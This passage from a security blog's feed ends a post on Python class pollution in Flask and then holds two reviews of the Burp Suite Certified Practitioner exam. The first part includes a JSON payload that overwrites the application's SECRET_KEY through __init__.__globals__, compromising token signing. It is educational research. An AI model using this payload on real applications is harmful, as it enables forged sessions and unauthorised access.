    &lt;span class=&#34;n&#34;&gt;merge&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;person&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;jsonify&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;person&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;serialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()),&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;201&lt;/span&gt;

&lt;span class=&#34;n&#34;&gt;app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code is pretty simple. Upon receiving a &lt;code&gt;POST&lt;/code&gt; request on the &lt;code&gt;/person&lt;/code&gt; endpoint, the application populates a new &lt;code&gt;Person&lt;/code&gt; object by merging it with the provided JSON data. The application could then store the object to a database or whatever, but in this case it merely returns a JSON serialized version of the created &lt;code&gt;Person&lt;/code&gt; object. The &lt;code&gt;/config&lt;/code&gt; endpoint isn&#39;t needed and only exists to show evidence of what is happening.&lt;/p&gt;
&lt;p&gt;The first question I usually ask is, &#34;Why would a developer do this?&#34; In this case, it&#39;s a bit of a stretch to merge objects this way. I know I wouldn&#39;t do this. But if I never searched for vulnerabilities that were related to things that developers should never do, I&#39;d never find a vulnerability. The author did show that Pydash includes similar merge functionality, but I feel like it&#39;s an even further stretch because of what it expects as input. I just can&#39;t come up with a halfway decent reason why I would use Pydash like that. If you do, please let me know.&lt;/p&gt;
&lt;p&gt;Given the example application, it&#39;s time to leverage what we learned about prototype (or class) pollution in Python to build an attack payload that completes the objective.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;name&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&#34;Tim&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;birthday&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&#34;2/1/1980&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;__init__&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;__globals__&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;app&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;config&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;                    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&#34;SECRET_KEY&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&#34;polluted&#34;&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This payload starts by giving the API endpoint what it needs to successfully create the person. This isn&#39;t required for the exploit to work, but it&#39;s always good to give an application what it expects in order to pass validation and ensure the payload reaches the potentially vulnerable code. The magic happens beginning with the &lt;code&gt;__init__&lt;/code&gt; dunder method. It gives us access to the &lt;code&gt;__globals__&lt;/code&gt; object that contains a reference to the &lt;code&gt;app&lt;/code&gt; object, which contains the &lt;code&gt;config&lt;/code&gt; dictionary, which contains the &lt;code&gt;SECRET_KEY&lt;/code&gt;. We simply assign the secret key a new value to pollute it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/2023-02-01-prototype-polution-in-flask/secret_key_polluted.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/2023-02-01-prototype-polution-in-flask/secret_key_polluted.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;From this point forward the application uses the secret key that we have knowledge of, and all functionality that relies on the secret key, such as token signing, is compromised. Once the server is bounced, it will reset the secret key to whatever the original value was, but we should be long gone by then, or have persisted access in some other way.&lt;/p&gt;
&lt;p&gt;Pretty fun right? I enjoy taking vulnerabilities that are known for affecting one language or framework and seeing if I can make them work in another, and that is exactly what the author of this article did. Thanks &lt;a href=&#34;https://twitter.com/abdulrah33mk&#34;&gt;@Abdulrah33mK&lt;/a&gt; for sharing your research and providing me with something to play with for a while.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="flask"/>
    </entry>
    <entry>
        <title>Review: Burp Suite Certified Practitioner (Part 3 Final)</title>
        <id>https://www.lanmaster53.com/blog/2022/01/05/burp-suite-certified-practitioner-review-part-3/</id>
        <link href="https://www.lanmaster53.com/blog/2022/01/05/burp-suite-certified-practitioner-review-part-3/"/>
        <published>2022-01-05T00:00:00Z</published>
        <updated>2022-01-05T00:00:00Z</updated>
        <summary>Failure is hard to swallow. After failing my first attempt at the Burp Suite Certified Practitioner exam, I decided to try the certification exam again... and…</summary>
        <content type="html">&lt;p&gt;Failure is hard to swallow. After failing my first attempt at the Burp Suite Certified Practitioner exam, I decided to try the certification exam again... and again... and again.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;If you&#39;ve not already read &lt;a href=&#34;/blog/2021/11/15/burp-suite-certified-practitioner-review/&#34;&gt;part one&lt;/a&gt; or &lt;a href=&#34;/blog/2021/11/18/burp-suite-certified-practitioner-review-part-2/&#34;&gt;part two&lt;/a&gt; of my review, please do so before continuing. This is a direct continuation of the previous articles.&lt;/p&gt;
&lt;h3&gt;Attempts Summary&lt;/h3&gt;
&lt;p&gt;$9 per attempt at the Burp Suite Certified Practitioner exam was a hard deal to pass up, especially when there was so much to learn about the process and share with others, regardless whether or not I ever passed it. So after my initial failure, I decided purchase another attempt and take a more serious approach. I didn&#39;t study nearly as hard as I should have the first time and really thought that my years of experience in the field would be enough. As outlined in part two of this series of articles, this was not the case. My real world experience was essentially useless in the exam environment. Those looking to attempt the certification exam should expect the same experience if you do the kind of work that I do. Again, see the previous articles for details.&lt;/p&gt;
&lt;p&gt;Before my second attempt, I went through every apprentice and practitioner level lab in the Web Security Academy and made honest attempts to complete them with no help from the solutions. This took a long time, but given that discovery during the exam is all about linking what you see in the labs to behaviors in the target applications, this rote memorization was required. Once I had a comfortable level of familiarity with all of the labs, I made my second attempt. I failed the exam again. This time I got a little further by completing two of the challenges, the first stage of each application.&lt;/p&gt;
&lt;p&gt;Once again frustrated, but still with resolve and feeling like I could do better, I adjusted my approach to prepare for a third attempt. Even though Portswigger responded to my initial review and extended the exam time limit to four hours, I still felt like I was too slow. I needed a faster way to approach the challenges. I proceeded to create an index of the labs as a way to quickly identify potential vulnerabilities and reference exploitation approaches. I&#39;ll expand on the idea of indexing below. With the index in hand, I made my third attempt. I failed the exam again. However, this time was different. Timing wasn&#39;t an issue. I powered through the first application in approximately 45 minutes and completed the first stage of the second application in about 15 minutes. I then proceeded to stare at the second challenge of the second application for three hours. Yes, three hours with zero progress. I was so desperate and had so much time that I literally went through all of the labs again TWICE and tried every automated tool I could think of just for the heck of it. I reached out to support and a point of contact within Portswigger to verify that the challenge I received was solvable. Support confirmed that it was, but I had my doubts.&lt;/p&gt;
&lt;p&gt;Again frustrated, but encouraged by my progress and knowing that the tests were randomized, I decided to make a fourth attempt and hope that I didn&#39;t receive the same problematic challenge as the previous attempt. I failed the exam again. The EXACT same way. I powered through the first application and the first stage of the second application in about an hour, before staring at that same challenge as before again for three hours. It was at this point that I gave up.&lt;/p&gt;
&lt;p&gt;I had never put so much effort into something that ultimately resulted in failure. Sure, I&#39;ve experienced a lot of failure in life. Success rarely comes without failure. But in all previous circumstances, with continued effort and resolve, I had always eventually succeeded. This was a real taste of failure, and my first experience with facing something that I simply could not do no matter how hard I tried. I was done. Perhaps my biggest concern was not knowing what I missed. At the time of this writing, I still have no idea what I missed on all those attempts. I don&#39;t know if what I missed represents something that I&#39;ll never find in the assessments I conduct, if they were the result of bugged challenges, or if they were simply challenges gamified in such a way that my brain had trouble reasoning with them. I don&#39;t know. And that&#39;s scary to me.&lt;/p&gt;
&lt;p&gt;After a couple days of getting use to the feeling of failure, I received a message from Portswigger thanking me for helping to identify an issue with the exam and offering me a free attempt. What?! What issue? I didn&#39;t report anything. Well, as it turns out, the email I sent to support after my third attempt, or perhaps the message I sent to my Portswigger contact, led someone to discover that something wasn&#39;t right. Portswigger fixed the issue and offered those affected by it another attempt at the exam. I&#39;ll speak more to this in a bit, but the bottom line was, I had another attempt to make.&lt;/p&gt;
&lt;p&gt;I made my fifth attempt and failed again. This time my heart just wasn&#39;t in it. I had become comfortable with the fact that I was never going to pass it. About an hour into the exam, I got tired of it, walked away to play with my kids, and never went back.&lt;/p&gt;
&lt;h3&gt;Certification Maturity&lt;/h3&gt;
&lt;p&gt;As I mentioned above, Portswigger extended the certification exam time limit to four hours after my second attempt. I don&#39;t know that my review had anything to do with it, or if it was just coincidence, but regardless, they felt it was necessary to extend the time limit and made the adjustment.&lt;/p&gt;
&lt;p&gt;Also as mentioned above, after being notified of a potential issue, Portswigger looked at the system, found a problem, fixed the problem, and attempted to make up for losses to their customers. At the time I was curious of how many of my attempts had been impeded by the issue because I was only offered one additional attempt even though I had failed multiple times at this point. Regardless, Portswigger didn&#39;t have to acknowledge or offer anything in response to the issue, so I was content with how they handled it. Portswigger later clarified with me that the issue they fixed was not the issue that led to my multiple failures. In fact, the issue may not have been responsible for any of my failures. They could only determine that the issue existed for one of my attempts, and offered a replacement voucher for that attempt. I certainly appreciate this additional information, and recommend that Portswigger include something to this effect in the original email they send out in response to identified problems. It would remove any uncertainly or reason for distrust.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: The above paragraph was updated based on new information provided by Portswigger after the original article was published.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Web application security is a dynamic ever-changing field. So any certification within it is going to be dynamic and ever-changing as well if it wants to remain relevant. Between my third and fourth attempts at the exam, Portswigger released an entire block of content on file upload vulnerabilities to the Web Security Academy. Since the exam is tied directly to the academy content and labs, I was concerned that I would have to go back and do for file uploads everything I had done for the remainder of the academy up to that point. I reached out to Portswigger and was told that there is a &#34;couple week&#34; grace period between when content shows up in the Web Security Academy and when it is eligible for the exam. This isn&#39;t documented anywhere, and is something that should be pointed out somewhere. If you&#39;ve read my previous articles on this review, then you know that this is not the first case of something needing clarification within the documentation. The good thing is that Portswigger has take much of this into account and has expanded the documentation to include many of the various items I&#39;ve pointed out.&lt;/p&gt;
&lt;p&gt;All of this goes to show a couple things. First, that Portswigger is responsive to the community. This is huge. In a day and age where everyone is capitalizing on money grabs while paying very little attention to end users and customers, Portswigger chooses to respond. And that&#39;s awesome. Second, it shows that the entire certification process is still relatively untested, pun intended. The Burp Suite Certified Practitioner certification is still very much in its infancy. Call it a beta level product if you will. I&#39;ll expand on this a little more in my final thoughts.&lt;/p&gt;
&lt;h3&gt;Indexing&lt;/h3&gt;
&lt;p&gt;I mentioned in my attempts summary above the concept of indexing. For those of you that have taken SANS courses and certifications, instructors will tell you best way to prepare for the exams is to &#34;index the books.&#34; because there is not enough time during a SANS certification exam to search the books for answers. Indexing a SANS book consists of identifying key words and ideas from the book and putting them in a spreadsheet ordered alphabetically with the page number. The idea is that when you see the word or idea in an exam question, you can quickly find where in the book it is and look up the answer. This works really well for traditional open book tests where the quantity of material is simply too much to commit to memory or search manually.&lt;/p&gt;
&lt;p&gt;The Burp Suite Certified Practitioner exam is open book and the quantity of material is too much to commit to memory or search manually. Sounds like a good candidate for indexing right? The problem is, it isn&#39;t a traditional exam. However, what if we treat it like a traditional exam? That&#39;s exactly what I did. I treated the Web Security Academy as a book. As I went through the labs, I noted the application, page, behavior, resource, keywords, client-side code snippets, and solution payloads for each vulnerability category and lab. I then organized each vulnerability category by stage. Given that the exam is structured so that some vulnerabilities cannot exist in some stages for one reason or another (see full exam documentation to understand why), it was quite handy knowing which vulnerability categories were valid at each stage based on what had been accomplished in the previous stage. This organized list of vulnerabilities became a table of contents for my index.&lt;/p&gt;
&lt;p&gt;During the exam, I would look at the vulnerabilities that were valid at the current stage given the conditions and focus in on areas of interest that made sense for the valid vulnerabilities. This pretty much ALWAYS identified the vulnerability. Portswigger actually makes this pretty obvious, so nothing major gained at this point. The next step was to use the index to look up what I was seeing in the targeted portion of the application. This often led me straight to a lab or labs that the challenge was based on. Then it was a matter of figuring out the little extra that Portswigger put into the exam challenge that made it different from the lab.&lt;/p&gt;
&lt;p&gt;It should be noted that once I had the index, time was no longer an issue.&lt;/p&gt;
&lt;h3&gt;Pass Requirement&lt;/h3&gt;
&lt;p&gt;While it should have been something that surfaced earlier in my review, the biggest takeaway after all of my attempts is what is required to pass the exam. The completion requirement feels incredibly unfair. There is absolutely zero margin for error. It is 100% success or fail. You have to be perfect. You cannot miss anything. Period. I&#39;ve tried finding something that compares to this in the industry and I can&#39;t. It&#39;s unprecedented, and probably for good reason. It&#39;s a bad idea.&lt;/p&gt;
&lt;p&gt;I think most people in Information Security would agree that Offensive Security has been a benchmark for what a good technical certification should require. Their certifications are hands on, challenging, and require practical skill and knowledge to succeed. Look at OSCP for example. It has had the respect of the community for a very long time and has been referred to by many as the standard bearer for hands on certifications. As tough as OSCP is, it doesn&#39;t require 100% completion. It requires a high level of completion, but not 100%. Yet it remains a great indicator for whether or not someone is capable of doing the job that the certification says they can.&lt;/p&gt;
&lt;p&gt;No one is perfect. We all have our strengths and weaknesses. This is no different when we begin breaking things down into specific technical items within a field of study, like application security. I may have knack for sniffing out authorization or authentication issues while another person has a knack for finding business logic flaws. It&#39;s why consultancies will rotate consultants for the same client, and why software companies will rotate consultancies for the same application. A different set of eyes brings a fresh set of skills and strengths to uncover things that previous tests didn&#39;t.&lt;/p&gt;
&lt;p&gt;As mentioned in my previous articles, the Burp Suite Certified Practitioner certification exam contains two applications with three random challenges each, and every challenge has to be completed, in order, to pass. The test is linear. Therefore, if one of the challenges happens to be based on a technical area where you are weak, then you&#39;re done. There is no progressing. There is no hope of passing. Every moment you spend searching for the answer not only takes time away from the current challenge, but also the remaining challenges should you somehow complete the current. This causes anxiety, and there comes a point where even if you did solve the challenge, there&#39;s no hope of completing the exam. You can&#39;t skip that challenge and move to another while your subconscious grinds away at the previous. Your only option is to take the exam again and hope you win the challenge lottery.&lt;/p&gt;
&lt;p&gt;This is a really poor approach to certification. Does it certify that one person is more qualified than another? Or does it certify that one person got a lucky set of challenges that aligned with their strengths and another didn&#39;t? It could be either, right? That&#39;s my point. You can&#39;t tell by the result of the exam alone. You&#39;d have to know more than the results. And that makes the result of the exam meaningless, which makes the certification meaningless.&lt;/p&gt;
&lt;p&gt;I understand that excessive weakness should prevent someone from being certified, but at what level? Everyone has some weakness. That&#39;s why there are variable grading and rating systems. The question is at what level has the acceptable amount of weakness or strength been validated. 100% perfection is an unrealistic metric for this and makes this a game of playing the randomized challenge lottery. Perhaps that&#39;s good for selling additional certification attempts, but it&#39;s a terrible and frustrating experience for the customer.&lt;/p&gt;
&lt;h3&gt;Feedback&lt;/h3&gt;
&lt;p&gt;If anyone from Portswigger reads this, here is my official feedback on how I believe the certification process and overall value of the certification could be improved.&lt;/p&gt;
&lt;p&gt;First, rather than require 100% completion of everything, add a third app and either require two to be completed, or perhaps require a percentage of the provided challenges across all three applications to be completed. That way, there is a tolerance for imperfection that better relates to the human condition.&lt;/p&gt;
&lt;p&gt;Second, change the name of the certification. I feel so strongly about this. The title &#34;Burp Suite Certified Practitioner&#34; would lead one to believe that the certification validates ones ability to use Burp Suite. I have not talked to a single person that has prepared for, attempted, and/or passed the exam that believes this title accurately describes the certification. While Burp Suite makes the labs and exams easier, they can be completed without it using freely available alternatives. Using the provided built in word list because it includes the required password for the account does not validate the need for Burp Suite. Based on all of the labs, practice exam challenges, and certification exam challenges that I completed during the process, plus years of using, researching, and teaching people about Burp Suite Pro, nothing in the certification process required above what I would consider very basic apprentice level usage. As someone that has led teams at several security consultancies, if someone only knew of Burp Suite what was required for the labs and exams, then I would have very little confidence in their ability to test web applications. The process simply does not certify what it says it does. I&#39;ve said it over and over again, and most who have experienced it would agree, this certification is about memorizing and applying a large number of exploitation techniques and combining them to solve a puzzle. It&#39;s a CTF, as indicated by the final answer of each application being a secret from a static file on the file system. Nothing in the title indicates this. This is something that I believe the community will self-police if Portswigger does not, or the certification will lose it&#39;s relevance.&lt;/p&gt;
&lt;h3&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;After three articles and two months of my professional life, the bottom line is this. The Burp Suite Certified Practitioner certification it is not without issue, and until the community has determined that it is a technically rock solid solution that truly validates the real world skills it claims to certify, then it should be approached with caution as a metric for any kind of policy or qualification. Otherwise, it&#39;s an incredibly well put together and challenging technical puzzle that will require you to learn a large number of exploitation techniques across the majority of web application vulnerability categories. While I do not walk away from the experience certified, I don&#39;t feel as if I lost anything. I gained a lot of knew exploitation knowledge, I learned a bit about myself, and I have shared all of that with you.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="burp"/>
        <category term="training"/>
    </entry>
    <entry>
        <title>Review: Burp Suite Certified Practitioner (Part 2)</title>
        <id>https://www.lanmaster53.com/blog/2021/11/18/burp-suite-certified-practitioner-review-part-2/</id>
        <link href="https://www.lanmaster53.com/blog/2021/11/18/burp-suite-certified-practitioner-review-part-2/"/>
        <published>2021-11-18T00:00:00Z</published>
        <updated>2021-11-18T00:00:00Z</updated>
        <summary>With Portswigger slashing the price of their Burp Suite Certified Practitioner exam to $9, I couldn&#39;t resist buying an attempt and giving it a try. I spent a…</summary>
        <content type="html">&lt;p&gt;With Portswigger slashing the price of their Burp Suite Certified Practitioner exam to $9, I couldn&#39;t resist buying an attempt and giving it a try. I spent a couple more days preparing and took the certification exam. I didn&#39;t get very far in the three hours, completing only a single challenge (step 1 of application 1), but I did learn a little about the environment and wanted to share some of that information with others that may be considering an attempt at becoming a Burp Suite Certified Practitioner.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;If you&#39;ve not already read &lt;a href=&#34;/blog/2021/11/15/burp-suite-certified-practitioner-review/&#34;&gt;part one of my review&lt;/a&gt;, please do so before continuing. This is not only a continuation of that, but I may have new perspectives based on experiencing the actual certification exam, and it could be helpful seeing how my perspectives have changed. Everything here is in addition to part one of my initial review and the information that Portswigger provides about the certification exam specifically.&lt;/p&gt;
&lt;h3&gt;Targets&lt;/h3&gt;
&lt;p&gt;I&#39;ve only taken the certification exam once, but I was told by a contact at Portswigger and confirmed with someone that has taken the certification exam more than once, that the challenges are randomized each time you take the certification exam. This is so testers can&#39;t predictably get the same certification exam every time and &#34;game&#34; the time restriction by picking up where they left off previously (like we all did with the practice exam). This makes the timing issue even more relevant, because now you have to start fresh every time, and can&#39;t roll over any previous work. Portswigger wants you to finish the whole thing starting from ground zero in the three hours to prove your ability.&lt;/p&gt;
&lt;p&gt;There are two applications that must be completed, and while you have to do each stage of each application in order (three stages), the applications themselves do NOT have to be done in order. In fact, when I hit a road block on the first application, I hopped over to the second for a change of scenery.&lt;/p&gt;
&lt;p&gt;While bouncing between applications is possible and gives your brain a soft reset, it can also be confusing. The applications have largely the same functionality implemented in different ways and it can become confusing trying to remember which interesting behavior belonged to which application. The fact that each application&#39;s host name is a random string of characters doesn&#39;t help this either. If you bounce around, find a way to keep track of things.&lt;/p&gt;
&lt;p&gt;I didn&#39;t accomplish enough to conclude if there is an intentional increase in difficulty between the two applications, but considering they are randomly selected and everything is supposed to be practitioner level difficulty, I doubt it.&lt;/p&gt;
&lt;p&gt;The applications are not large. They are small and pretty straight forward. However, just because there isn&#39;t much content, doesn&#39;t mean there isn&#39;t much to look for. There are so many lesser understood and not obvious places Portswigger can place issues e.g. cache poisoning, request smuggling, CORS implementations, header injection, etc... more on this below. The scanner can help with some of this, but that takes time, even if you are using the selective scanning techniques. In the end, a scanner is a scanner and might not provide you with anything useful, and could waste some of your time with false positives.&lt;/p&gt;
&lt;h3&gt;Difficulty&lt;/h3&gt;
&lt;p&gt;There is nothing vanilla here folks. This thing is hard. Unfortunately, I don&#39;t think it is hard for the right reasons, because in my opinion it&#39;s not hard in a realistic way. Reality is what we&#39;re certifying for, right?&lt;/p&gt;
&lt;p&gt;The exam is all about having a large number of techniques memorized, then figuring out which order to apply them in a short period of time. Let me put it this way. Let&#39;s refer to each of the Web Security Academy lab solutions as a technique, or a small collection of techniques that can be divided into individual techniques. The exam presents challenges in such a way that at first glance you are looking at the reincarnation of a lab you&#39;ve already seen. But things aren&#39;t what they seem. You&#39;ll soon find out that the underlying issue isn&#39;t operating alone. There are other techniques from other labs that will need to be combined with the first technique in order to proceed. Sometimes directly and sometimes indirectly. This presents two problems: a natural increase in difficulty, and a requirement to memorize, recognize, and execute a large number of techniques in a short period of time.&lt;/p&gt;
&lt;p&gt;In my opinion, combining practitioner level techniques in this way does not maintain the practitioner level of difficulty. Similar to how Chris Gates and Rob Fuller use to put it in their LOW to PWNED talks, if you put a couple low risk issues together, it presents a lot more risk. In the same way, if you put a couple practitioner level techniques together, it increases the level of difficulty of the challenge. I would rate much of what I&#39;ve encountered in the practice and certification exams more on the expert level than the practitioner level. Then again, I&#39;ve failed the exam, so take my opinion with a grain of salt. I might just be protecting my ego.&lt;/p&gt;
&lt;p&gt;At the time of this writing, there are 203 total labs in the Web Security Academy. Of the 203 labs, 171 are practitioner level or lower. Therefore, if there is only a single technique per lab, which there are often more, there are at least 171 techniques to have memorized and able to recognize the need for and execute at a moments notice during the certification exam. I don&#39;t know about you, but I simply can&#39;t do that. I have a terrible memory, so one thing I&#39;ve forced myself to do is not to memorize everything, but to recognize something and have an easily accessible reference that reminds me of everything I need to recall about the topic. I feel like that&#39;s too slow of a process for the certification exam, which is why I performed so poorly on it. With 30 minutes per challenge (3 hours * 60 minutes / 6 challenges), you don&#39;t have time to discover a vulnerability, reference a resource, build an exploit, test the exploit, and troubleshoot the exploit. You need to be able to respond immediately without reviewing references or spending time in trial and error situations. You need the answer and you need it quick. After I failed, Portswigger&#39;s guidance was, &#34;We advise spending at least four weeks preparing, before you re-book your Burp Suite Certified: Practitioner exam.&#34; I won&#39;t remember four weeks from now any more than I can remember right now. I&#39;ve been doing the labs for the last week and a half and still had to reference the things I did last week. This is not wrong, but it&#39;s hard given the time constraint. I convey the message to all of my students that there is a LOT to know in web application security. Your best asset will be your ability to recognize something and manage information in such a way that you are able to find it when you need it. I don&#39;t need all 171+ techniques at my disposal all the time. I&#39;ll read them from long term storage into short term volatile memory as I need them, and dump everything that isn&#39;t necessary for identification between encounters. This approach does not work well with the certification exam.&lt;/p&gt;
&lt;p&gt;Finally, the way the issues are incorporated are inconsistent with the flow of the application and don&#39;t replicate what solving them is supposed to certify, which is a practitioner&#39;s capability against real-world applications. The challenges are convoluted and disjointed puzzles that are designed and implemented in a way that doesn&#39;t replicate the normal behavior of a developer. Keep in mind that my normal may be different from someone else&#39;s normal, but I&#39;ve been exclusively testing web applications for a very long time, so I feel like I&#39;ve got a decent enough sample set to have an opinion. For example, the challenge may involve a server-side rendered application, but the developer will have shoehorned a client-side rendered &#34;feature&#34; into the application that is completely different from how the rest of the application works. It does make potential issues stand out because you&#39;ll be like, &#34;What the heck is that? That doesn&#39;t belong there.&#34;, but based on my inability to move forward, I have to wonder if this design approach confused how I attempt to reverse engineer a developers thoughts when I&#39;m assessing their code. A real world application, which I will remind you is what we are certifying for, would not normally be this way. There is typically a consistent use of technology and patterns that we can observe and use to make assumptions about where issues are likely to exist. Like CTFs, the certification exam environment feels a bit like a hodgepodge, and that certainly makes for an environment I am not comfortable in. But those that enjoy and excel at solving puzzles and CTFs will likely fit right in here. It certainly feels like that kind of game.&lt;/p&gt;
&lt;h3&gt;Virtual Victim&lt;/h3&gt;
&lt;p&gt;Portswigger uses an &#34;AI&#34; that operates on the back end like a user to do things like open emails, click links, etc. I don&#39;t know what Portswigger calls it, so I&#39;ll call it the virtual victim. You&#39;ll encounter the virtual victim first when you do the Web Security Academy labs. In the labs, Portswigger will tell you exactly what a button text needs to be, or what the payload should execute in order to be detected by the virtual victim. For example, a lab may require that a button have the text &#34;click me&#34; in order for the virtual victim to trigger a Clickjacking exploit. This information is provided as part of the challenge, not the solution. You have to have the information, because without it, you would have to guess what is required to create a payload that would be detected. If your exploit doesn&#39;t work, your first troubleshooting step is to make sure you gave the virtual victim what it was looking for. If you do, then you know something is functionally wrong with your exploit.&lt;/p&gt;
&lt;p&gt;So how does that approach translate over to the certification exam? It doesn&#39;t. There is no guidance for how to properly lure the virtual victim into an exploit within the certification exam. Therefore, the guessing game that you didn&#39;t have to do in the labs plays itself out in the certification exam. I operated under the assumption that the certification exam virtual victim behaved same way as the lab virtual victim. However, the fact that I don&#39;t know for sure made me uncertain about an exploit that should have worked during the certification exam, but didn&#39;t.&lt;/p&gt;
&lt;p&gt;During the certification exam, I observed behavior that would allow me to conduct a two-stage exploit to gain access to what was needed to advance to the next level of the first application. Like I said, the apps are small and there&#39;s not much too them, so there wasn&#39;t a lot to choose from. This had to be it in my mind because there was simply nothing else to do. I built an exploit and tested it against myself. It worked perfectly. When I delivered the exploit to the virtual victim, nothing happened. I exploited myself again to double check and it worked. I sent it to the virtual victim again and nothing happened. As of this writing, I still have no idea why it didn&#39;t work. Was the button not labeled correctly for the virtual victim to recognize it? Was there some sort of technical explanation for why one user would be vulnerable while another wouldn&#39;t? Was I providing a right wrong answer... or simply put, not the answer Portswigger expected? I have no idea. I created something out of my own creativity that appeared to solve the problem within the context of the tools that Portswigger has given me all along, and it simply didn&#39;t work. That is a really frustrating place to be. Especially since I spent so much time putting it together. And in case you haven&#39;t caught on, you do not have enough time for a single wrong answer.&lt;/p&gt;
&lt;p&gt;On the topic of time, it takes a good couple hours of tinkering with the virtual victim to get a feel for how it works and how to integrate it with your exploits. You can do most of this orientation in the labs, but it is an absolute must. The way it works felt unnatural to me. In fact, as I was doing my evening walk tonight, it suddenly hit me that I had the right exploit all along for a different challenge I was working on during the certification exam (a different one than the one mentioned above) but wasn&#39;t delivering it properly because of a misunderstanding of how the virtual victim interface worked. Once I got away and wrapped my head around what I was trying to accomplish with the virtual victim interface, I realized I was using it wrong. It is really important that you have a good understanding of this tool so you don&#39;t end up in a situation like me.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;I said it last time and I&#39;ll say it again, the certification exam is for those interested in hard core exploitation. Discovery is not hard here. You will find the spots you need to look at pretty easily, and in some cases, the automated discovery techniques will do it for you. The certification exam demands high-level exploitation skill. If you aren&#39;t comfortable in what I would consider expert level exploitation and post-exploitation with very little need to reference, you are going to struggle with the certification exam.&lt;/p&gt;
&lt;p&gt;Also, time, time, time. I can&#39;t say it enough. There is so little time to accomplish what needs to be done during the certification exam. To reiterate, you have 30 minutes to discover a vulnerability, reference a resource, build an exploit, test the exploit, and troubleshoot the exploit for each of six challenges. You cannot afford a rabbit hole or wrong answer, and you cannot afford to spend much time referencing anything.&lt;/p&gt;
&lt;p&gt;I know this review sounds a bit negative, but I wanted to be transparent about my experience. It was frustrating, and it made me feel inadequate at a profession I have spent countless hours pouring my life in to. There is going to be an emotional response to that, and I felt it. But, I also want to be clear that the certification exam hits on all of my weakest points as an information security practitioner. I don&#39;t play in CTFs, and deep exploitation is not something my clients ask me, or sometimes even allow me, to do. I have a thorough methodology that takes time to get through. And as someone that writes a lot of code, I try to get into the mind of the developer and use their patterns and processes to lead me to vulnerabilities. My approach to web application security simply does not serve me well in the certification exam environment. I expect that others&#39; mileage will vary greatly, so please don&#39;t let me discourage you from attempting the certification exam.&lt;/p&gt;
&lt;p&gt;As for next steps, I&#39;m going to continue to review the labs and probably make another attempt or two over the holiday break. If nothing else, at $9 an attempt, I consider it $3 an hour to spend time in an online lab where I can practice a new skill. I&#39;ll check back in if anything changes.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="burp"/>
